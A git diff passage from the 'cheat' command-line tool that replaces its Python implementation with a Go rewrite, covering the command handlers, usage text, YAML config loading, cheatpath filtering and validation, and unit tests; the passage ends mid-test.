read(self, sheet): - """ Returns the contents of the cheatsheet as a String """ - if not self._exists(sheet): - Utils.die('No cheatsheet found for ' + sheet) - - with io.open(self._path(sheet), encoding='utf-8') as cheatfile: - return cheatfile.read() diff --git a/cheat/sheets.py b/cheat/sheets.py deleted file mode 100644 index 8458ea6..0000000 --- a/cheat/sheets.py +++ /dev/null @@ -1,77 +0,0 @@ -from cheat.colorize import Colorize -from cheat.utils import Utils -import io -import os - - -class Sheets: - - def __init__(self, config): - self._config = config - self._colorize = Colorize(config) - - # Assembles a dictionary of cheatsheets as name => file-path - self._sheets = {} - sheet_paths = [ - config.cheat_user_dir - ] - - # merge the CHEAT_PATH paths into the sheet_paths - if config.cheat_path: - for path in config.cheat_path.split(os.pathsep): - if os.path.isdir(path): - sheet_paths.append(path) - - if not sheet_paths: - Utils.die('The CHEAT_USER_DIR dir does not exist ' - + 'or the CHEAT_PATH is not set.') - - # otherwise, scan the filesystem - for cheat_dir in reversed(sheet_paths): - self._sheets.update( - dict([ - (cheat, os.path.join(cheat_dir, cheat)) - for cheat in os.listdir(cheat_dir) - if not cheat.startswith('.') - and not cheat.startswith('__') - ]) - ) - - def directories(self): - """ Assembles a list of directories containing cheatsheets """ - sheet_paths = [ - self._config.cheat_user_dir, - ] - - # merge the CHEATPATH paths into the sheet_paths - for path in self._config.cheat_path.split(os.pathsep): - sheet_paths.append(path) - - return sheet_paths - - def get(self): - """ Returns a dictionary of cheatsheets as name => file-path """ - return self._sheets - - def list(self): - """ Lists the available cheatsheets """ - sheet_list = '' - pad_length = max([len(x) for x in self.get().keys()]) + 4 - for sheet in sorted(self.get().items()): - sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n" - return sheet_list - - def search(self, term): - """ Searches all cheatsheets for the specified term """ - result = '' - - for cheatsheet in sorted(self.get().items()): - match = '' - for line in io.open(cheatsheet[1], encoding='utf-8'): - if term in line: - match += ' ' + self._colorize.search(term, line) - - if match != '': - result += cheatsheet[0] + ":\n" + match + "\n" - - return result diff --git a/cheat/test/__init__.py b/cheat/test/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/cheat/utils.py b/cheat/utils.py deleted file mode 100644 index c481a7c..0000000 --- a/cheat/utils.py +++ /dev/null @@ -1,26 +0,0 @@ -from __future__ import print_function -import sys - - -class Utils: - - @staticmethod - def die(message): - """ Prints a message to stderr and then terminates """ - Utils.warn(message) - exit(1) - - @staticmethod - def warn(message): - """ Prints a message to stderr """ - print((message), file=sys.stderr) - - @staticmethod - def boolify(value): - """ Type-converts 'true' and 'false' to Booleans """ - # if `value` is not a string, return it as-is - if not isinstance(value, str): - return value - - # otherwise, convert "true" and "false" to Boolean counterparts - return value.strip().lower() == "true" diff --git a/ci/lint.sh b/ci/lint.sh deleted file mode 100755 index 9e7e0ee..0000000 --- a/ci/lint.sh +++ /dev/null @@ -1,10 +0,0 @@ -#!/bin/sh - -# Resolve the app root -SCRIPT=`realpath $0` -SCRIPTPATH=`dirname $SCRIPT` -APPROOT=`realpath "$SCRIPTPATH/.."` - -flake8 $APPROOT/setup.py -flake8 $APPROOT/bin/cheat -flake8 $APPROOT/cheat/*.py --exclude=appdirs.py diff --git a/cmd/cheat/cmd_directories.go b/cmd/cheat/cmd_directories.go new file mode 100644 index 0000000..34246d8 --- /dev/null +++ b/cmd/cheat/cmd_directories.go @@ -0,0 +1,28 @@ +package main + +import ( + "fmt" + "os" + "text/tabwriter" + + "github.com/cheat/cheat/internal/config" +) + +// cmdDirectories lists the configured cheatpaths. +func cmdDirectories(opts map[string]interface{}, conf config.Config) { + + // initialize a tabwriter to produce cleanly columnized output + w := tabwriter.NewWriter(os.Stdout, 0, 0, 1, ' ', 0) + + // generate sorted, columnized output + for _, path := range conf.Cheatpaths { + fmt.Fprintln(w, fmt.Sprintf( + "%s:\t%s", + path.Name, + path.Path, + )) + } + + // write columnized output to stdout + w.Flush() +} diff --git a/cmd/cheat/cmd_edit.go b/cmd/cheat/cmd_edit.go new file mode 100644 index 0000000..6d895fa --- /dev/null +++ b/cmd/cheat/cmd_edit.go @@ -0,0 +1,111 @@ +package main + +import ( + "fmt" + "os" + "os/exec" + "path" + "strings" + + "github.com/cheat/cheat/internal/cheatpath" + "github.com/cheat/cheat/internal/config" + "github.com/cheat/cheat/internal/sheets" +) + +// cmdEdit opens a cheatsheet for editing (or creates it if it doesn't exist). +func cmdEdit(opts map[string]interface{}, conf config.Config) { + + cheatsheet := opts["--edit"].(string) + + // load the cheatsheets + cheatsheets, err := sheets.Load(conf.Cheatpaths) + if err != nil { + fmt.Fprintln(os.Stderr, fmt.Sprintf("failed to list cheatsheets: %v", err)) + os.Exit(1) + } + + // filter cheatcheats by tag if --tag was provided + if opts["--tag"] != nil { + cheatsheets = sheets.Filter( + cheatsheets, + strings.Split(opts["--tag"].(string), ","), + ) + } + + // consolidate the cheatsheets found on all paths into a single map of + // `title` => `sheet` (ie, allow more local cheatsheets to override less + // local cheatsheets) + consolidated := sheets.Consolidate(cheatsheets) + + // the file path of the sheet to edit + var editpath string + + // determine if the sheet exists + sheet, ok := consolidated[cheatsheet] + + // if the sheet exists and is not read-only, edit it in place + if ok && !sheet.ReadOnly { + editpath = sheet.Path + + // if the sheet exists but is read-only, copy it before editing + } else if ok && sheet.ReadOnly { + // compute the new edit path + // begin by getting a writeable cheatpath + writepath, err := cheatpath.Writeable(conf.Cheatpaths) + if err != nil { + fmt.Fprintf(os.Stderr, "failed to get writeable path: %v\n", err) + os.Exit(1) + } + + // compute the new edit path + editpath = path.Join(writepath.Path, sheet.Title) + + // create any necessary subdirectories + dirs := path.Dir(editpath) + if dirs != "." { + if err := os.MkdirAll(dirs, 0755); err != nil { + fmt.Fprintf(os.Stderr, "failed to create directory: %s, %v\n", dirs, err) + os.Exit(1) + } + } + + // copy the sheet to the new edit path + err = sheet.Copy(editpath) + if err != nil { + fmt.Fprintf(os.Stderr, "failed to copy cheatsheet: %v\n", err) + os.Exit(1) + } + + // if the sheet does not exist, create it + } else { + // compute the new edit path + // begin by getting a writeable cheatpath + writepath, err := cheatpath.Writeable(conf.Cheatpaths) + if err != nil { + fmt.Fprintf(os.Stderr, "failed to get writeable path: %v\n", err) + os.Exit(1) + } + + // compute the new edit path + editpath = path.Join(writepath.Path, cheatsheet) + + // create any necessary subdirectories + dirs := path.Dir(editpath) + if dirs != "." { + if err := os.MkdirAll(dirs, 0755); err != nil { + fmt.Fprintf(os.Stderr, "failed to create directory: %s, %v\n", dirs, err) + os.Exit(1) + } + } + } + + // edit the cheatsheet + cmd := exec.Command(conf.Editor, editpath) + cmd.Stdout = os.Stdout + cmd.Stdin = os.Stdin + cmd.Stderr = os.Stderr + if err := cmd.Run(); err != nil { + fmt.Fprintf(os.Stderr, "failed to edit cheatsheet: %v\n", err) + os.Exit(1) + } +} diff --git a/cmd/cheat/cmd_init.go b/cmd/cheat/cmd_init.go new file mode 100644 index 0000000..48258bd --- /dev/null +++ b/cmd/cheat/cmd_init.go @@ -0,0 +1,10 @@ +package main + +import ( + "fmt" +) + +// cmdInit displays an example config file. +func cmdInit() { + fmt.Println(configs()) +} diff --git a/cmd/cheat/cmd_list.go b/cmd/cheat/cmd_list.go new file mode 100644 index 0000000..6ed59da --- /dev/null +++ b/cmd/cheat/cmd_list.go @@ -0,0 +1,69 @@ +package main + +import ( + "fmt" + "os" + "sort" + "strings" + "text/tabwriter" + + "github.com/cheat/cheat/internal/config" + "github.com/cheat/cheat/internal/sheet" + "github.com/cheat/cheat/internal/sheets" +) + +// cmdList lists all available cheatsheets. +func cmdList(opts map[string]interface{}, conf config.Config) { + + // load the cheatsheets + cheatsheets, err := sheets.Load(conf.Cheatpaths) + if err != nil { + fmt.Fprintln(os.Stderr, fmt.Sprintf("failed to list cheatsheets: %v", err)) + os.Exit(1) + } + + // filter cheatcheats by tag if --tag was provided + if opts["--tag"] != nil { + cheatsheets = sheets.Filter( + cheatsheets, + strings.Split(opts["--tag"].(string), ","), + ) + } + + // instead of "consolidating" all of the cheatsheets (ie, overwriting global + // sheets with local sheets), here we simply want to create a slice + // containing all sheets. + flattened := []sheet.Sheet{} + for _, pathSheets := range cheatsheets { + for _, s := range pathSheets { + flattened = append(flattened, s) + } + } + + // sort the "flattened" sheets alphabetically + sort.Slice(flattened, func(i, j int) bool { + return flattened[i].Title < flattened[j].Title + }) + + // exit early if no cheatsheets are available + if len(flattened) == 0 { + os.Exit(0) + } + + // initialize a tabwriter to produce cleanly columnized output + w := tabwriter.NewWriter(os.Stdout, 0, 0, 1, ' ', 0) + + // generate sorted, columnized output + fmt.Fprintln(w, "title:\tfile:\ttags:") + for _, sheet := range flattened { + fmt.Fprintln(w, fmt.Sprintf( + "%s\t%s\t%s", + sheet.Title, + sheet.Path, + strings.Join(sheet.Tags, ","), + )) + } + + // write columnized output to stdout + w.Flush() +} diff --git a/cmd/cheat/cmd_search.go b/cmd/cheat/cmd_search.go new file mode 100644 index 0000000..89652b1 --- /dev/null +++ b/cmd/cheat/cmd_search.go @@ -0,0 +1,75 @@ +package main + +import ( + "fmt" + "os" + "regexp" + "strings" + + "github.com/cheat/cheat/internal/config" + "github.com/cheat/cheat/internal/sheets" +) + +// cmdSearch searches for strings in cheatsheets. +func cmdSearch(opts map[string]interface{}, conf config.Config) { + + phrase := opts["--search"].(string) + + // load the cheatsheets + cheatsheets, err := sheets.Load(conf.Cheatpaths) + if err != nil { + fmt.Fprintln(os.Stderr, fmt.Sprintf("failed to list cheatsheets: %v", err)) + os.Exit(1) + } + + // filter cheatcheats by tag if --tag was provided + if opts["--tag"] != nil { + cheatsheets = sheets.Filter( + cheatsheets, + strings.Split(opts["--tag"].(string), ","), + ) + } + + // consolidate the cheatsheets found on all paths into a single map of + // `title` => `sheet` (ie, allow more local cheatsheets to override less + // local cheatsheets) + consolidated := sheets.Consolidate(cheatsheets) + + // sort the cheatsheets alphabetically, and search for matches + for _, sheet := range sheets.Sort(consolidated) { + + // colorize output? + colorize := false + if conf.Colorize == true || opts["--colorize"] == true { + colorize = true + } + + // assume that we want to perform a case-insensitive search for + pattern := "(?i)" + phrase + + // unless --regex is provided, in which case we pass the regex unaltered + if opts["--regex"] == true { + pattern = phrase + } + + // compile the regex + reg, err := regexp.Compile(pattern) + if err != nil { + fmt.Errorf("failed to compile regexp: %s, %v", pattern, err) + os.Exit(1) + } + + // search the sheet + matches := sheet.Search(reg, colorize) + + // display the results + if len(matches) > 0 { + fmt.Printf("%s:\n", sheet.Title) + for _, m := range matches { + fmt.Printf(" %d: %s\n", m.Line, m.Text) + } + fmt.Print("\n") + } + } + +} diff --git a/cmd/cheat/cmd_view.go b/cmd/cheat/cmd_view.go new file mode 100644 index 0000000..499a816 --- /dev/null +++ b/cmd/cheat/cmd_view.go @@ -0,0 +1,72 @@ +package main + +import ( + "fmt" + "os" + "strings" + + "github.com/alecthomas/chroma/quick" + + "github.com/cheat/cheat/internal/config" + "github.com/cheat/cheat/internal/sheets" +) + +// cmdView displays a cheatsheet for viewing. +func cmdView(opts map[string]interface{}, conf config.Config) { + + cheatsheet := opts[""].(string) + + // load the cheatsheets + cheatsheets, err := sheets.Load(conf.Cheatpaths) + if err != nil { + fmt.Fprintln(os.Stderr, fmt.Sprintf("failed to list cheatsheets: %v", err)) + os.Exit(1) + } + + // filter cheatcheats by tag if --tag was provided + if opts["--tag"] != nil { + cheatsheets = sheets.Filter( + cheatsheets, + strings.Split(opts["--tag"].(string), ","), + ) + } + + // consolidate the cheatsheets found on all paths into a single map of + // `title` => `sheet` (ie, allow more local cheatsheets to override less + // local cheatsheets) + consolidated := sheets.Consolidate(cheatsheets) + + // fail early if the requested cheatsheet does not exist + sheet, ok := consolidated[cheatsheet] + if !ok { + fmt.Printf("No cheatsheet found for '%s'.\n", cheatsheet) + os.Exit(0) + } + + // if colorization is not desired, output un-colorized text and exit + if conf.Colorize == false && opts["--colorize"] == false { + fmt.Print(sheet.Text) + os.Exit(0) + } + + // otherwise, colorize the output + // if the syntax was not specified, default to bash + lex := sheet.Syntax + if lex == "" { + lex = "bash" + } + + // apply syntax highlighting + err = quick.Highlight( + os.Stdout, + sheet.Text, + lex, + conf.Formatter, + conf.Style, + ) + + // if colorization somehow failed, output non-colorized text + if err != nil { + fmt.Print(sheet.Text) + } +} diff --git a/cmd/cheat/docopt.txt b/cmd/cheat/docopt.txt new file mode 100644 index 0000000..effe2cc --- /dev/null +++ b/cmd/cheat/docopt.txt @@ -0,0 +1,43 @@ +Usage: + cheat [options] [] + +Options: + --init Write a default config file to stdout + -c --colorize Colorize output + -d --directories List cheatsheet directories + -e --edit= Edit cheatsheet + -l --list List cheatsheets + -p --path= Return only sheets found on path + -r --regex Treat search as a regex + -s --search= Search cheatsheets for + -t --tag= Return only sheets matching + -v --version Print the version number + +Examples: + + To initialize a config file: + mkdir -p ~/.config/cheat && cheat --init > ~/.config/cheat/conf.yml + + To view the tar cheatsheet: + cheat tar + + To edit (or create) the foo cheatsheet: + cheat -e foo + + To edit (or create) the foo/bar cheatsheet on the "work" cheatpath: + cheat -p work -e foo/bar + + To view all cheatsheet directories: + cheat -d + + To list all available cheatsheets: + cheat -l + + To list available cheatsheets that are tagged as "personal": + cheat -l -t personal + + To search for "ssh" among all cheatsheets, and colorize matches: + cheat -c -s ssh + + To search (by regex) for cheatsheets that contain an IP address: + cheat -c -r -s '(?:[0-9]{1,3}\.){3}[0-9]{1,3}' diff --git a/cmd/cheat/main.go b/cmd/cheat/main.go new file mode 100755 index 0000000..39192ef --- /dev/null +++ b/cmd/cheat/main.go @@ -0,0 +1,92 @@ +package main + +//go:generate go run ../../build/embed.go + +import ( + "fmt" + "os" + "runtime" + + "github.com/docopt/docopt-go" + + "github.com/cheat/cheat/internal/cheatpath" + "github.com/cheat/cheat/internal/config" +) + +const version = "3.0.0-rc0" + +func main() { + + // initialize options + opts, err := docopt.Parse(usage(), nil, true, version, false) + if err != nil { + // panic here, because this should never happen + panic(fmt.Errorf("docopt failed to parse: %v", err)) + } + + // if --init was passed, we don't want to attempt to load a config file. + // Instead, just execute cmd_init and exit + if opts["--init"] != nil && opts["--init"] == true { + cmdInit() + os.Exit(0) + } + + // load the config file + confpath, err := config.Path(runtime.GOOS) + if err != nil { + fmt.Fprintln(os.Stderr, "could not locate config file") + os.Exit(1) + } + + // initialize the configs + conf, err := config.New(opts, confpath) + if err != nil { + fmt.Fprintf(os.Stderr, "failed to load config: %v\n", err) + os.Exit(1) + } + + // assert that the configs are valid + if err := conf.Validate(); err != nil { + fmt.Fprintf(os.Stderr, "failed to load config: %v\n", err) + os.Exit(1) + } + + // filter the cheatpaths if --path was passed + if opts["--path"] != nil { + conf.Cheatpaths, err = cheatpath.Filter( + conf.Cheatpaths, + opts["--path"].(string), + ) + if err != nil { + fmt.Fprintf(os.Stderr, "invalid option --path: %v\n", err) + os.Exit(1) + } + } + + // determine which command to execute + var cmd func(map[string]interface{}, config.Config) + + switch { + case opts["--directories"].(bool): + cmd = cmdDirectories + + case opts["--edit"] != nil: + cmd = cmdEdit + + case opts["--list"].(bool): + cmd = cmdList + + case opts["--search"] != nil: + cmd = cmdSearch + + case opts[""] != nil: + cmd = cmdView + + default: + fmt.Println(usage()) + os.Exit(0) + } + + // execute the command + cmd(opts, conf) +} diff --git a/cmd/cheat/str_config.go b/cmd/cheat/str_config.go new file mode 100644 index 0000000..f2a779a --- /dev/null +++ b/cmd/cheat/str_config.go @@ -0,0 +1,65 @@ +package main + +// Code generated .* DO NOT EDIT. + +import ( + "strings" +) + +func configs() string { + return strings.TrimSpace(`--- +# The editor to use with 'cheat -e '. Defaults to $EDITOR or $VISUAL. +editor: vim + +# Should 'cheat' always colorize output? +colorize: true + +# Which 'chroma' colorscheme should be applied to the output? +# Options are available here: +# https://github.com/alecthomas/chroma/tree/master/styles +style: monokai + +# Which 'chroma' "formatter" should be applied? +# One of: "terminal", "terminal256", "terminal16m" +formatter: terminal16m + +# The paths at which cheatsheets are available. Tags associated with a cheatpath +# are automatically attached to all cheatsheets residing on that path. +# +# Whenever cheatsheets share the same title (like 'tar'), the most local +# cheatsheets (those which come later in this file) take precedent over the +# less local sheets. This allows you to create your own "overides" for +# "upstream" cheatsheets. +# +# But what if you want to view the "upstream" cheatsheets instead of your own? +# Cheatsheets may be filtered via 'cheat -f ' in combination with other +# commands. So, if you want to view the 'tar' cheatsheet that is tagged as +# 'community' rather than your own, you can use: cheat tar -f community +cheatpaths: + + # Paths that come earlier are considered to be the most "global", and will + # thus be overridden by more local cheatsheets. That being the case, you + # should probably list community cheatsheets first. + # + # Note that the paths and tags listed below are just examples. You may freely + # change them to suit your needs. + - name: community + path: ~/.dotfiles/cheat/community + tags: [ community ] + readonly: true + + # Maybe your company or department maintains a repository of cheatsheets as + # well. It's probably sensible to list those second. + - name: work + path: ~/.dotfiles/cheat/work + tags: [ work ] + readonly: false + + # If you have personalized cheatsheets, list them last. They will take + # precedence over the more global cheatsheets. + - name: personal + path: ~/.dotfiles/cheat/personal + tags: [ personal ] + readonly: false +`) +} diff --git a/cmd/cheat/str_usage.go b/cmd/cheat/str_usage.go new file mode 100644 index 0000000..49baa38 --- /dev/null +++ b/cmd/cheat/str_usage.go @@ -0,0 +1,54 @@ +package main + +// Code generated .* DO NOT EDIT. + +import ( + "strings" +) + +func usage() string { + return strings.TrimSpace(`Usage: + cheat [options] [] + +Options: + --init Write a default config file to stdout + -c --colorize Colorize output + -d --directories List cheatsheet directories + -e --edit= Edit cheatsheet + -l --list List cheatsheets + -p --path= Return only sheets found on path + -r --regex Treat search as a regex + -s --search= Search cheatsheets for + -t --tag= Return only sheets matching + -v --version Print the version number + +Examples: + + To initialize a config file: + mkdir -p ~/.config/cheat && cheat --init > ~/.config/cheat/conf.yml + + To view the tar cheatsheet: + cheat tar + + To edit (or create) the foo cheatsheet: + cheat -e foo + + To edit (or create) the foo/bar cheatsheet on the "work" cheatpath: + cheat -p work -e foo/bar + + To view all cheatsheet directories: + cheat -d + + To list all available cheatsheets: + cheat -l + + To list available cheatsheets that are tagged as "personal": + cheat -l -t personal + + To search for "ssh" among all cheatsheets, and colorize matches: + cheat -c -s ssh + + To search (by regex) for cheatsheets that contain an IP address: + cheat -c -r -s '(?:[0-9]{1,3}\.){3}[0-9]{1,3}' +`) +} diff --git a/config/cheat.example.conf b/config/cheat.example.conf deleted file mode 100644 index fcbcbbd..0000000 --- a/config/cheat.example.conf +++ /dev/null @@ -1,6 +0,0 @@ -{ - "CHEAT_COLORS" : true, - "CHEAT_COLORSCHEME" : "light", - "CHEAT_EDITOR" : "vi", - "CHEAT_PATH" : "/usr/share/cheat" -} diff --git a/configs/conf.yml b/configs/conf.yml new file mode 100644 index 0000000..83e4615 --- /dev/null +++ b/configs/conf.yml @@ -0,0 +1,54 @@ +--- +# The editor to use with 'cheat -e '. Defaults to $EDITOR or $VISUAL. +editor: vim + +# Should 'cheat' always colorize output? +colorize: true + +# Which 'chroma' colorscheme should be applied to the output? +# Options are available here: +# https://github.com/alecthomas/chroma/tree/master/styles +style: monokai + +# Which 'chroma' "formatter" should be applied? +# One of: "terminal", "terminal256", "terminal16m" +formatter: terminal16m + +# The paths at which cheatsheets are available. Tags associated with a cheatpath +# are automatically attached to all cheatsheets residing on that path. +# +# Whenever cheatsheets share the same title (like 'tar'), the most local +# cheatsheets (those which come later in this file) take precedent over the +# less local sheets. This allows you to create your own "overides" for +# "upstream" cheatsheets. +# +# But what if you want to view the "upstream" cheatsheets instead of your own? +# Cheatsheets may be filtered via 'cheat -f ' in combination with other +# commands. So, if you want to view the 'tar' cheatsheet that is tagged as +# 'community' rather than your own, you can use: cheat tar -f community +cheatpaths: + + # Paths that come earlier are considered to be the most "global", and will + # thus be overridden by more local cheatsheets. That being the case, you + # should probably list community cheatsheets first. + # + # Note that the paths and tags listed below are just examples. You may freely + # change them to suit your needs. + - name: community + path: ~/.dotfiles/cheat/community + tags: [ community ] + readonly: true + + # Maybe your company or department maintains a repository of cheatsheets as + # well. It's probably sensible to list those second. + - name: work + path: ~/.dotfiles/cheat/work + tags: [ work ] + readonly: false + + # If you have personalized cheatsheets, list them last. They will take + # precedence over the more global cheatsheets. + - name: personal + path: ~/.dotfiles/cheat/personal + tags: [ personal ] + readonly: false diff --git a/internal/cheatpath/cheatpath.go b/internal/cheatpath/cheatpath.go new file mode 100644 index 0000000..4013891 --- /dev/null +++ b/internal/cheatpath/cheatpath.go @@ -0,0 +1,9 @@ +package cheatpath + +// Cheatpath encapsulates cheatsheet path information +type Cheatpath struct { + Name string `yaml:name` + Path string `yaml:path` + ReadOnly bool `yaml:readonly` + Tags []string `yaml:tags` +} diff --git a/internal/cheatpath/filter.go b/internal/cheatpath/filter.go new file mode 100644 index 0000000..2b4c269 --- /dev/null +++ b/internal/cheatpath/filter.go @@ -0,0 +1,19 @@ +package cheatpath + +import ( + "fmt" +) + +// Filter filters all cheatpaths that are not named `name` +func Filter(paths []Cheatpath, name string) ([]Cheatpath, error) { + + // if a path of the given name exists, return it + for _, path := range paths { + if path.Name == name { + return []Cheatpath{path}, nil + } + } + + // otherwise, return an error + return []Cheatpath{}, fmt.Errorf("cheatpath does not exist: %s", name) +} diff --git a/internal/cheatpath/filter_test.go b/internal/cheatpath/filter_test.go new file mode 100644 index 0000000..8587047 --- /dev/null +++ b/internal/cheatpath/filter_test.go @@ -0,0 +1,53 @@ +package cheatpath + +import ( + "testing" +) + +// TestFilterSuccess asserts that the proper cheatpath is returned when the +// requested cheatpath exists +func TestFilterSuccess(t *testing.T) { + + // init cheatpaths + paths := []Cheatpath{ + Cheatpath{Name: "foo"}, + Cheatpath{Name: "bar"}, + Cheatpath{Name: "baz"}, + } + + // filter the paths + paths, err := Filter(paths, "bar") + if err != nil { + t.Errorf("failed to filter paths: %v", err) + } + + // assert that the expected path was returned + if len(paths) != 1 { + t.Errorf( + "failed to return correct path count: want: 1, got: %d", + len(paths), + ) + } + + if paths[0].Name != "bar" { + t.Errorf("failed to return correct path: want: bar, got: %s", paths[0].Name) + } +} + +// TestFilterFailure asserts that an error is returned when a non-existent +// cheatpath is requested +func TestFilterFailure(t *testing.T) { + + // init cheatpaths + paths := []Cheatpath{ + Cheatpath{Name: "foo"}, + Cheatpath{Name: "bar"}, + Cheatpath{Name: "baz"}, + } + + // filter the paths + paths, err := Filter(paths, "qux") + if err == nil { + t.Errorf("failed to return an error on non-existent cheatpath") + } +} diff --git a/internal/cheatpath/validate.go b/internal/cheatpath/validate.go new file mode 100644 index 0000000..f9dc7e9 --- /dev/null +++ b/internal/cheatpath/validate.go @@ -0,0 +1,18 @@ +package cheatpath + +import ( + "fmt" +) + +// Validate returns an error if the cheatpath is invalid +func (c *Cheatpath) Validate() error { + + if c.Name == "" { + return fmt.Errorf("invalid cheatpath: name must be specified") + } + if c.Path == "" { + return fmt.Errorf("invalid cheatpath: path must be specified") + } + + return nil +} diff --git a/internal/cheatpath/validate_test.go b/internal/cheatpath/validate_test.go new file mode 100644 index 0000000..21c3bb2 --- /dev/null +++ b/internal/cheatpath/validate_test.go @@ -0,0 +1,56 @@ +package cheatpath + +import ( + "testing" +) + +// TestValidateValid asserts that valid cheatpaths validate successfully +func TestValidateValid(t *testing.T) { + + // initialize a valid cheatpath + cheatpath := Cheatpath{ + Name: "foo", + Path: "/foo", + ReadOnly: false, + Tags: []string{}, + } + + // assert that no errors are returned + if err := cheatpath.Validate(); err != nil { + t.Errorf("failed to validate valid cheatpath: %v", err) + } +} + +// TestValidateMissingName asserts that paths that are missing a name fail to +// validate +func TestValidateMissingName(t *testing.T) { + + // initialize a valid cheatpath + cheatpath := Cheatpath{ + Path: "/foo", + ReadOnly: false, + Tags: []string{}, + } + + // assert that no errors are returned + if err := cheatpath.Validate(); err == nil { + t.Errorf("failed to invalidate cheatpath without name") + } +} + +// TestValidateMissingPath asserts that paths that are missing a path fail to +// validate +func TestValidateMissingPath(t *testing.T) { + + // initialize a valid cheatpath + cheatpath := Cheatpath{ + Name: "foo", + ReadOnly: false, + Tags: []string{}, + } + + // assert that no errors are returned + if err := cheatpath.Validate(); err == nil { + t.Errorf("failed to invalidate cheatpath without path") + } +} diff --git a/internal/cheatpath/writeable.go b/internal/cheatpath/writeable.go new file mode 100644 index 0000000..b45482c --- /dev/null +++ b/internal/cheatpath/writeable.go @@ -0,0 +1,24 @@ +package cheatpath + +import ( + "fmt" +) + +// Writeable returns a writeable Cheatpath +func Writeable(cheatpaths []Cheatpath) (Cheatpath, error) { + + // iterate backwards over the cheatpaths + // NB: we're going backwards because we assume that the most "local" + // cheatpath will be specified last in the configs + for i := len(cheatpaths) - 1; i >= 0; i-- { + + // if the cheatpath is not read-only, it is writeable, and thus returned + if cheatpaths[i].ReadOnly == false { + return cheatpaths[i], nil + } + + } + + // otherwise, return an error + return Cheatpath{}, fmt.Errorf("no writeable cheatpaths found") +} diff --git a/internal/cheatpath/writeable_test.go b/internal/cheatpath/writeable_test.go new file mode 100644 index 0000000..64bfea7 --- /dev/null +++ b/internal/cheatpath/writeable_test.go @@ -0,0 +1,50 @@ +package cheatpath + +import ( + "testing" +) + +// TestWriteableOK asserts that Writeable returns the appropriate cheatpath +// when a writeable cheatpath exists +func TestWriteableOK(t *testing.T) { + + // initialize some cheatpaths + cheatpaths := []Cheatpath{ + Cheatpath{Path: "/foo", ReadOnly: true}, + Cheatpath{Path: "/bar", ReadOnly: false}, + Cheatpath{Path: "/baz", ReadOnly: true}, + } + + // get the writeable cheatpath + got, err := Writeable(cheatpaths) + + // assert that no errors were returned + if err != nil { + t.Errorf("failed to get cheatpath: %v", err) + } + + // assert that the path is correct + if got.Path != "/bar" { + t.Errorf("incorrect cheatpath returned: got: %s", got.Path) + } +} + +// TestWriteableOK asserts that Writeable returns an error when no writeable +// cheatpaths exist +func TestWriteableNotOK(t *testing.T) { + + // initialize some cheatpaths + cheatpaths := []Cheatpath{ + Cheatpath{Path: "/foo", ReadOnly: true}, + Cheatpath{Path: "/bar", ReadOnly: true}, + Cheatpath{Path: "/baz", ReadOnly: true}, + } + + // get the writeable cheatpath + _, err := Writeable(cheatpaths) + + // assert that no errors were returned + if err == nil { + t.Errorf("failed to return an error when no writeable paths found") + } +} diff --git a/internal/config/config.go b/internal/config/config.go new file mode 100644 index 0000000..737fa64 --- /dev/null +++ b/internal/config/config.go @@ -0,0 +1,74 @@ +package config + +import ( + "fmt" + "io/ioutil" + "os" + + cp "github.com/cheat/cheat/internal/cheatpath" + + "github.com/mitchellh/go-homedir" + "gopkg.in/yaml.v2" +) + +// Config encapsulates configuration parameters +type Config struct { + Colorize bool `yaml:colorize` + Editor string `yaml:editor` + Cheatpaths []cp.Cheatpath `yaml:cheatpaths` + Style string `yaml:style` + Formatter string `yaml:formatter` +} + +// New returns a new Config struct +func New(opts map[string]interface{}, confPath string) (Config, error) { + + // read the config file + buf, err := ioutil.ReadFile(confPath) + if err != nil { + return Config{}, fmt.Errorf("could not read config file: %v", err) + } + + // initialize a config object + conf := Config{} + + // unmarshal the yaml + err = yaml.UnmarshalStrict(buf, &conf) + if err != nil { + return Config{}, fmt.Errorf("could not unmarshal yaml: %v", err) + } + + // expand ~ in config paths + for i, cheatpath := range conf.Cheatpaths { + + expanded, err := homedir.Expand(cheatpath.Path) + if err != nil { + return Config{}, fmt.Errorf("failed to expand ~: %v", err) + } + + conf.Cheatpaths[i].Path = expanded + } + + // if an editor was not provided in the configs, look to envvars + if conf.Editor == "" { + if os.Getenv("VISUAL") != "" { + conf.Editor = os.Getenv("VISUAL") + } else if os.Getenv("EDITOR") != "" { + conf.Editor = os.Getenv("EDITOR") + } else { + return Config{}, fmt.Errorf("no editor set") + } + } + + // if a chroma style was not provided, set a default + if conf.Style == "" { + conf.Style = "bw" + } + + // if a chroma formatter was not provided, set a default + if conf.Formatter == "" { + conf.Formatter = "terminal16m" + } + + return conf, nil +} diff --git a/internal/config/config_test.go b/internal/config/config_test.go new file mode 100644 index 0000000..e5f4df4 --- /dev/null +++ b/internal/config/config_test.go @@ -0,0 +1,111 @@ +package config + +import ( + "os" + "path/filepath" + "reflect" + "testing" + + "github.com/davecgh/go-spew/spew" + "github.com/mitchellh/go-homedir" + + "github.com/cheat/cheat/internal/cheatpath" + "github.com/cheat/cheat/internal/mock" +) + +// TestConfig asserts that the configs are loaded correctly +func TestConfigSuccessful(t *testing.T) { + + // initialize a config + conf, err := New(map[string]interface{}{}, mock.Path("conf/conf.yml")) + if err != nil { + t.Errorf("failed to parse config file: %v", err) + } + + // assert that the expected values were returned + if conf.Editor != "vim" { + t.Errorf("failed to set editor: want: vim, got: %s", conf.Editor) + } + if !conf.Colorize { + t.Errorf("failed to set colorize: want: true, got: %t", conf.Colorize) + } + + // get the user's home directory (with ~ expanded) + home, err := homedir.Dir() + if err != nil { + t.Errorf("failed to get homedir: %v", err) + } + + // assert that the cheatpaths are correct + want := []cheatpath.Cheatpath{ + cheatpath.Cheatpath{ + Path: filepath.Join(home, ".dotfiles/cheat/community"), + ReadOnly: true, + Tags: []string{"community"}, + }, + cheatpath.Cheatpath{ + Path: filepath.Join(home, ".dotfiles/cheat/work"), + ReadOnly: false, + Tags: []string{"work"}, + }, + cheatpath.Cheatpath{ + Path: filepath.Join(home, ".dotfiles/cheat/personal"), + ReadOnly: false, + Tags: []string{"personal"}, + }, + } + + if !reflect.DeepEqual(conf.Cheatpaths, want) { + t.Errorf( + "failed to return expected results: want:\n%s, got:\n%s", + spew.Sdump(want), + spew.Sdump(conf.Cheatpaths), + ) + } +} + +// TestConfigFailure asserts that an error is returned if the config file +// cannot be read. +func TestConfigFailure(t *testing.T) { + + // attempt to read a non-existent config file + _, err := New(map[string]interface{}{}, "/does-not-exit") + if err == nil { + t.Errorf("failed to 